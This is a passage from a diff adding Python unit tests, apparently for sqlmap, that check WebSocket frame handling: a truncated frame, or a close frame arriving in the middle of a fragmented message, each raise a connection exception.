test_truncated_frame_remains_an_error(self): + for frames in (_frame(b"one"), _frame(b"one") + b"\x81\x05ab"): + self.frames = frames + for count in (None, 3): + kb.webSocketRecvCount = count + self.assertRaises(SqlmapConnectionException, Connect.getPage, url=conf.url) + + def test_close_during_fragmented_message_remains_an_error(self): + for fragment in (b"", b"partial"): + self.frames = _frame(fragment, fin=0) + _frame(struct.pack("!H", 1000), opcode=8) + kb.webSocketRecvCount = None + self.assertRaises(SqlmapConnectionException, Connect.getPage, url=conf.url) + + +if __name__ == "__main__": + unittest.main()